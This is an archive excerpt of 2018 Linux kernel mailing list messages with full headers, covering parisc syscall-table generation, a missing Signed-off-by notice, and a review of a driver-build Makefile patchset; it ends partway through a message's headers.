        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 14:12:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5rdK-0003sZ-Nj
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 14:12:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728451AbeI1SiN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 14:38:13 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:37069 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726121AbeI1SiN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 14:38:13 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id n6-v6so6326937qtl.4;
        Fri, 28 Sep 2018 05:14:43 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=WluYTs90xjs5O1/hXjNGnL38ko0c5Rf6MR8HSV7laLw=;
        b=I+Brv6C1CZPa62f4+S4osKWyZDqA7ku13giyICQbPzKM7gS6yaGJOlbDq+nPAJY62U
         G9pDdIRAMBYetwN9tlQ5OzW34TxOeU3/PqCl2Xu+5P0bK/9QkifVDwnSWAJl7bD/nweE
         AFoAlWE5vDwMDB+vVC5WmyQu5Kivjy7RiYhMEP/i1d1uQls7GutXe7h8K644RZ68D9w9
         8kT0gG6rFxwWTrofBz17CvWH5kBE5mm3LnGzq6Q8eF6VuGkyEdm0YoNkiwzLx4sR2rBl
         X5jp+jusrcOcJsQKPi1M4o9i2jZ3f7cFraIev6UYnK1RHntZk2owcO6UrK8G4xJdadw8
         vnWA==
X-Gm-Message-State: ABuFfoieswKdKhAY5WNYUWVMUJoC3WIVKvsBxnDUf5KRf7HPlMfg7hlf
        o2ZujvOSsmTqTJ0v8vCqjoXvO1hCnA6gaeLhtJ0=
X-Google-Smtp-Source: ACcGV60e8cShbNswLP5ERVDVT+wdtnxxL7Nb9YvTnrEmNOpqrV1UfUsv/zKAhkxhrNkS+B9IG2ukjr4Hh+IYfUACAtk=
X-Received: by 2002:aed:316b:: with SMTP id 98-v6mr12523155qtg.9.1538136882604;
 Fri, 28 Sep 2018 05:14:42 -0700 (PDT)
In-Reply-To: <1538058267-3765-3-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884745 gmane.linux.ports.parisc:29056 gmane.linux.kernel.year-2038:3423 gmane.linux.kernel.cross-arch:47068
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884745>

On Thu, Sep 27, 2018 at 4:25 PM Firoz Khan <firoz.khan@linaro.org> wrote:
>
> 1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
>    by counting the no.of system calls. No need to update
>    __NR_Linux_syscalls until we either add a new system call
>    or delete an existing system call.
>
> 2. We can keep this feature it above mentioned script, that
>    will count the number of syscalls and keep it in a gener-
>    ated file. In this case we don't need to explicitly update
>    __NR_Linux_syscalls in asm/unistd.h file.
>
> The 2nd option will be the recommended one. For that, I moved
> the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
> unistd.h. The macro __NR_syscalls also added for making the
> name convention same across all architecture. While __NR_sys-
> calls isn't strictly part of the uapi, having it as part of
> the generated header to simplifies the implementation. We also
> need to enclose this macro with #ifdef __KERNEL__ to avoid side
> effects.
>
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/include/uapi/asm/unistd.h | 6 +++++-
>  1 file changed, 5 insertions(+), 1 deletion(-)
>
> diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> index bb52e12..255c62a 100644
> --- a/arch/parisc/include/uapi/asm/unistd.h
> +++ b/arch/parisc/include/uapi/asm/unistd.h
> @@ -366,7 +366,11 @@
>  #define __NR_statx             (__NR_Linux + 349)
>  #define __NR_io_pgetevents     (__NR_Linux + 350)
>
> -#define __NR_Linux_syscalls    (__NR_io_pgetevents + 1)
> +#ifdef __KERNEL__
> +#define __NR_syscalls           351
> +#endif
> +
> +#define __NR_Linux_syscalls     __NR_syscalls
>

Hmm, now you have a __NR_Linux_syscalls macro that is defined in user
space to a another macro that is not visible there. How about moving
__NR_Linux_syscalls into arch/parisc/include/asm/unistd.h or
replacing its users with __NR_syscalls instead?

       Arnd


From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: Signed-off-by missing for commit in the parisc-hd tree
Date: Mon, 1 Oct 2018 11:04:01 +1000
Lines: 35
Approved: news@gmane.org
Message-ID: <20181001110401.046aa075@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/75A6QhBLrMneuYPivE7KPNd"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1538355726 13179 195.159.176.226 (1 Oct 2018 01:02:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 01:02:06 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 03:02:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6mb2-0003IQ-LX
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 03:02:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726950AbeJAHjT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 03:39:19 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:60487 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726478AbeJAHjT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 03:39:19 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 42NkZB3ntDz9s3C;
        Mon,  1 Oct 2018 11:04:02 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=canb.auug.org.au
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1538355842;
        bh=OKK5ZY0WPJwGMF0JXUvU/jSbyuUwWODhE6Chav3fN2A=;
        h=Date:From:To:Cc:Subject:From;
        b=M7sGlDM0JzMqI0SB/JVo0/+zpwlIE/YbT3AkAJNJy48mB/sJEpNZpUGGJp8ZwV0qW
         gW7L6HBcpdYY6SjYo6l3mmN9NrbcZKSl2RpSockpE+VShVxnnUO9iY2na2zavMiylp
         tXcizB5gbk2WnFEAdEKAVUnLblUYM7I5u7wo3EMQz75qRELMKXCjgAwsrfi/02bpLn
         I/FM0ysdpLLymQj4ZiT6ohku/6YfUKtdsYfPh0FN8N/exTGXR8hjlpV9IFo7MELVqg
         n9pIcKXJE/oKPmJ6maA0ThZ9+1CyUpRG6iIYW0/pMv/5+63iKb9Z6Xgtc3USdnXhqI
         oedAXaw2zt3gQ==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886260 gmane.linux.ports.parisc:29057 gmane.linux.kernel.next:47145
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886260>

--Sig_/75A6QhBLrMneuYPivE7KPNd
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi all,

Commit

  f17bbdb5eea2 ("parisc: Remove PTE load and fault check from L2_ptep macro=
")

is missing a Signed-off-by from its committer.

--=20
Cheers,
Stephen Rothwell

--Sig_/75A6QhBLrMneuYPivE7KPNd
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEENIC96giZ81tWdLgKAVBC80lX0GwFAluxcoEACgkQAVBC80lX
0Gx07wf/atOF3j4/DKTGL3PsMcgrtLoTQI2qaCbwjfqLMNg/UglIM51SqGvsuLe/
LiuF3u+QWJ/A5xgvIoG6q1Bra+wQcUM20I8gZedWwajGeQn3IXfqZKoLBwDFHOCE
I8qTGnP1jYLXOAeP9kuOqvLmWoJBfIluOicMxcasCZVn+A+eshac1e/UW5Wkqymb
J+AInORTJ5Fhl+C/X5qFpbvemyV6GJhlZULXfO9gKT2ovfTEq/9VSwClzBNO7R32
s0+WPdUNSXJBCECxSE06LFMCTkwHhLBDomSHUVSsy0AfJIvrBpXkK/Mz/og3VrDH
7GCZ33AQvpzQN/Ls5ZytVpbptmozxg==
=VbdX
-----END PGP SIGNATURE-----

--Sig_/75A6QhBLrMneuYPivE7KPNd--


From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: Signed-off-by missing for commit in the parisc-hd
 tree
Date: Mon, 1 Oct 2018 07:57:20 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <7d3bdf93-73e6-1f4a-8242-84532ebfd01a@gmx.de>
References: <20181001110401.046aa075@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="NyQzhZz4bLBdFLijrimIMnMY2Qdp4MyEu"
X-Trace: blaine.gmane.org 1538373324 9846 195.159.176.226 (1 Oct 2018 05:55:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 05:55:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Stephen Rothwell <sfr@canb.auug.org.au>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 07:55:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6rAs-0002Q2-Nn
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 07:55:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728782AbeJAMda (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 08:33:30 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:41603 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727693AbeJAMda (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 08:33:30 -0400
Original-Received: from [192.168.20.60] ([92.116.143.109]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MGS9o-1ftbfv21Lc-00DHkH; Mon, 01
 Oct 2018 07:57:23 +0200
Original-Received: from [192.168.20.60] ([92.116.143.109]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MGS9o-1ftbfv21Lc-00DHkH; Mon, 01
 Oct 2018 07:57:23 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181001110401.046aa075@canb.auug.org.au>
X-Provags-ID: V03:K1:qgNAyyVlOUcSSlMji0RWtAHboYGmU8WfzwXDFVE0E6zOnN3+7t+
 Kzcc0B2v5mzwrnygwQNJy6hrFu5340VtUZSFE8asZFq9dAOPkx2NUkHji5krU7SyZVP/8Dx
 Xfl4m7d3XMQu709DDuBZLKRfvwFjtt1NjfJHtB6PLZR5fhk8IC4thPoGnzAOAcpcuelT3p6
 ViWU+UR25ZMz0+5E8VRxA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CvyPgAKA9BU=:TJ9JYyLqlziE/8h2qpKWXs
 dEp4J5j19GyCEDrEWvnCLehiMogEz0qGm/8Ls0Xgs3wu/UZPP3YsQjDiIsUZR8J/FnQ5MdUDx
 7uw6hxRI3FD8+qHkM1xnY38cHmMlM6BO39xD/3rC+czJ9atTz2lkpciWKigXH0eU8L22Eyo0Y
 9+v6OOLQSqIV2HUhb4R64/ML7L/plGm05Nl4TfEp25VgVhGM5AL7PGAX+5XS7Wuxk/MAyXEuM
 1oZNwOAbYcaz6+PFDtoxmAhpMlSqemx+I/eCJxlluFtHtMHddJq+PMwBrjJoTs9XGES2ca1YL
 nJqZ3bRVw5CnLuI1eHICSVwpDYWK462mezE5Traz8Sbid0Bs2K0EflT8wvx+bltL4sWHIAxEG
 OYGm1MUGUc48RVvCOvv66Jo9CmOXAMk+cWWruEFtG7F1+pSYp28m7IIQXczli38/OgttcmLxE
 wZZ9NmqmBAXmJrqlbXGEcfFFqclYWry9Uwvkwt3z0Jlz4NE43Cg4DYQmp7/n4V6OMrTLSvgoc
 h60gMqPWMOI6TS8Z3srC2htnDHuR9kxsRoR1MsNEDhGoyFHDSTroxyFH2EPcJNohy+bES0Bbn
 E6qJ8nC0At3x28ZrCyTmZTE7uYLm6jTzkVuJUC5/VgFmo1/tfc4lptigULYz6h1/nZK/LJobD
 b0xEJKaaE6bLM+wclaIgLHTLWYZhsz5TYPylW4cBqa7XD4mDUkRVzO9a5QXATy8lM4aqVANR7
 LGvnrJb1fpsZmsLOlAwy894Rv1DSaWQHPgVRhwCj3OeNQ5gZdRrQM5XUT6bHdIXWF7khv4oL 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886323 gmane.linux.ports.parisc:29058 gmane.linux.kernel.next:47146
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886323>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--NyQzhZz4bLBdFLijrimIMnMY2Qdp4MyEu
Content-Type: multipart/mixed; boundary="R1H1Iwl10G1yGJIfoUvsLtcrjgfq1Fgft";
 protected-headers="v1"
From: Helge Deller <deller@gmx.de>
To: Stephen Rothwell <sfr@canb.auug.org.au>,
 Parisc List <linux-parisc@vger.kernel.org>
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Message-ID: <7d3bdf93-73e6-1f4a-8242-84532ebfd01a@gmx.de>
Subject: Re: linux-next: Signed-off-by missing for commit in the parisc-hd
 tree
References: <20181001110401.046aa075@canb.auug.org.au>
In-Reply-To: <20181001110401.046aa075@canb.auug.org.au>

--R1H1Iwl10G1yGJIfoUvsLtcrjgfq1Fgft
Content-Type: text/plain; charset=windows-1252
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

On 01.10.2018 03:04, Stephen Rothwell wrote:
> Commit
>   f17bbdb5eea2 ("parisc: Remove PTE load and fault check from L2_ptep m=
acro")
> is missing a Signed-off-by from its committer.

Fixed now.

Thanks!
Helge


--R1H1Iwl10G1yGJIfoUvsLtcrjgfq1Fgft--

--NyQzhZz4bLBdFLijrimIMnMY2Qdp4MyEu
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iHUEARYIAB0WIQTPnDOmy1/TQodsisYgKkl43U+sXQUCW7G3QAAKCRAgKkl43U+s
XdYjAQCLOr7DYV4TkmDFUyJGnMM7k/cB0FQjTfXpiHGzRW4AgwEA39xQtbkEEVzk
u6090ybPL9CgPY+owhGj7lxGmILqoAI=
=iZKw
-----END PGP SIGNATURE-----

--NyQzhZz4bLBdFLijrimIMnMY2Qdp4MyEu--


From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robert Richter <rric@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7]  Remove errors building drivers/DRIVERNAME
Date: Mon, 1 Oct 2018 09:56:07 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20181001075607.GA3776@rric.localdomain>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538380462 18200 195.159.176.226 (1 Oct 2018 07:54:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 07:54:22 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Leonardo =?iso-8859-1?Q?Br=E1s?= <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 09:54:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6t20-0004cd-Ha
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 09:54:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728830AbeJAOcv (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 10:32:51 -0400
Original-Received: from mail-wm1-f67.google.com ([209.85.128.67]:51358 "EHLO
        mail-wm1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728593AbeJAOcu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 10:32:50 -0400
Original-Received: by mail-wm1-f67.google.com with SMTP id y25-v6so7666269wmi.1;
        Mon, 01 Oct 2018 00:56:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:content-transfer-encoding:in-reply-to
         :user-agent;
        bh=/RtgW5/+TvLiJIyzS1OHcJ7mhMnCnbH2trYHFNY/r84=;
        b=h/ZJkqUORwnzx0CtQE3MLAy7w9YcGih3C08gE/7+rys5ISKpp1R6y6G1XW6uCOnymh
         pAS2srs3gIxdt9RHWsTxj3SpeBNotOqV/pQEhPMgxCJnDFl4HX4hTLICCrMMsNkU6W3w
         m+bq9YH3w3d5GgW89N5gyFthGOhA1KUec6xiGKK3ZLDKW6cHJ3B++lmQGZQUMggbdaBE
         p5RzhDVbwdiy22O4kjFL5OmfOWvWV7GJ48PxEg3Mq0XUPhT4H6ak+u2doSynffcMzjay
         /5J89C/9E+3m0zRgTF26Nel2Mz29Rq/Q+X+RH0iEk1sVe+TOUacw/UA7WLe3vNxqLIYA
         7KTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=/RtgW5/+TvLiJIyzS1OHcJ7mhMnCnbH2trYHFNY/r84=;
        b=jA+mqij2kLscXvnjmuvo4z5CwnOPK4yD6FrFzNqV/+kIrKCB9Yx2fym7Mes2Wu7Zxw
         ir7I4fzTAHagglkSaB1rlATgtk3KXZ5XMzInRrz8LOA45Ng1Rm0Bsdxk9frzz1dm7PJq
         24pD9gYHLFQ8k8mGj/UzcY0OAGchNhGqV6Gs7cUFQ6jcmwtAJSirb3k4F+Zjx7D1jcIj
         VrFJ5dQRgnPjedWpMVjD+BuM66itFKaUNMOh6FbQeWnGLVVfvpstpH/LsTtCBzzi1DVD
         lReWwlvXvLGthAO9ZG5qVtO7dMFJzLVH8TSkmm8X0P3bRqzZtyZpyU6B0oXjjgfpWs5x
         msyQ==
X-Gm-Message-State: ABuFfog/ybbyWCLtbUCooviyE3LbC4gGXiHnk/1qxVT9YZ46wx/fzHVM
        N6LIxBb+y3w2voBi1/zVYpw=
X-Google-Smtp-Source: ACcGV61wDZFHb6QwFpfVWBbnlqM6b22sFecUKAM0T2FknqyWlFLXn/DxcJg+5ljn4laAQn3ntUMsgQ==
X-Received: by 2002:a1c:1d6:: with SMTP id 205-v6mr8257262wmb.151.1538380581790;
        Mon, 01 Oct 2018 00:56:21 -0700 (PDT)
Original-Received: from rric.localdomain (x55b4fbbb.dyn.telefonica.de. [85.180.251.187])
        by smtp.gmail.com with ESMTPSA id m2-v6sm7473453wrj.80.2018.10.01.00.56.20
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 01 Oct 2018 00:56:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2886386 gmane.linux.oprofile:13253 gmane.linux.ports.parisc:29059
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2886386>

On 27.09.18 23:08:09, Leonardo Brs wrote:
> This Patchset changes some driver's Makefile to allow them building
> using the command 'make drivers/DRIVERNAME', if compatible.
> 
> The changed drivers would return error if the above command was run
> on them, after an x86 allyesconfig.

I don't see what you are trying to achieve here. Why shouldn't the
command fail if it is not the intended way to call it? There are a
couple of use cases where drivers/ is used to share common code over
different archs and it is not always the intention to build them in
drivers/ directly.

> 
> The main reason of this patchset is to allow building lists of
> drivers looking for warnings and errors to be fixed.

If a list is the intention here, aren't there other ways to create it
other than using drivers/*?

-Robert

> 
> I see this change as a new feature, not a bugfix. I understand
> the default bahavior may be building with a simple 'make', but I
> believe adding this new possibility will not be harmful.
> 
> My main objective is to allow developers with low processing power
> to do changes in the kernel and look bugs using free services like
> GiltabCI, before submitting to community.
> 
> If there is any interest helping/using this, I have a prototype in:
> https://gitlab.com/LeoBras/linux-next


From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 3/5] parisc: add system call table generation support
Date: Mon, 1 Oct 2018 13:36:12 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <CAK8P3a0D2G8=weYcua7G3HmL07vrYR_iExmmjt2SuokbJ=Vvog@mail.gmail.com>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org> <1538058267-3765-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538393666 27303 195.159.176.226 (1 Oct 2018 11:34:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 1 Oct 2018 11:34:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 01 13:34:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g6wSy-000637-LL
	for glk-linux-kernel-4@m.gmane.org; Mon, 01 Oct 2018 13:34:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729234AbeJASNu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 1 Oct 2018 14:13:50 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:42308 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728791AbeJASNu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 1 Oct 2018 14:13:50 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id z8-v6so13457372qto.9;
        Mon, 01 Oct 2018 04:36:29 -0700 (PDT)
